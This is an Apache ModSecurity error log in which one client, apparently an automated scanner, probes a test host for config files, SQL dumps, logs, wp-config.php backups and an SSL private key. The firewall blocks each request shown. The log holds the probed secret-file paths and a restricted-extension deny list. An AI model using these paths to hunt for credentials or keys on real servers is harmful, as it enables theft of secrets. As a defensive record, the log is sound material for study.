[Sun Mar 22 01:06:29.105496 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFiAAAAAg&quot;]
[Sun Mar 22 01:06:29.105632 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFiAAAAAg&quot;]
[Sun Mar 22 01:06:29.150105 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFigAAAAg&quot;]
[Sun Mar 22 01:06:29.150540 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFigAAAAg&quot;]
[Sun Mar 22 01:06:29.150686 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFigAAAAg&quot;]
[Sun Mar 22 01:06:29.195095 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjAAAAAg&quot;]
[Sun Mar 22 01:06:29.195486 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjAAAAAg&quot;]
[Sun Mar 22 01:06:29.195612 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjAAAAAg&quot;]
[Sun Mar 22 01:06:29.262803 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjwAAAAg&quot;]
[Sun Mar 22 01:06:29.263201 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjwAAAAg&quot;]
[Sun Mar 22 01:06:29.263327 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFjwAAAAg&quot;]
[Sun Mar 22 01:06:29.375193 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlAAAAAg&quot;]
[Sun Mar 22 01:06:29.375571 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlAAAAAg&quot;]
[Sun Mar 22 01:06:29.375690 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlAAAAAg&quot;]
[Sun Mar 22 01:06:29.397550 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlQAAAAg&quot;]
[Sun Mar 22 01:06:29.397919 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlQAAAAg&quot;]
[Sun Mar 22 01:06:29.398046 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlQAAAAg&quot;]
[Sun Mar 22 01:06:29.420071 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /src/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlgAAAAg&quot;]
[Sun Mar 22 01:06:29.420263 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlgAAAAg&quot;]
[Sun Mar 22 01:06:29.420382 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlgAAAAg&quot;]
[Sun Mar 22 01:06:29.442462 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlwAAAAg&quot;]
[Sun Mar 22 01:06:29.442694 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /src/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlwAAAAg&quot;]
[Sun Mar 22 01:06:29.442880 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlwAAAAg&quot;]
[Sun Mar 22 01:06:29.443018 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFlwAAAAg&quot;]
[Sun Mar 22 01:06:29.532257 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFmwAAAAg&quot;]
[Sun Mar 22 01:06:29.532624 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFmwAAAAg&quot;]
[Sun Mar 22 01:06:29.532737 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ssl/private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFmwAAAAg&quot;]
[Sun Mar 22 01:06:29.599415 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFngAAAAg&quot;]
[Sun Mar 22 01:06:29.599786 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFngAAAAg&quot;]
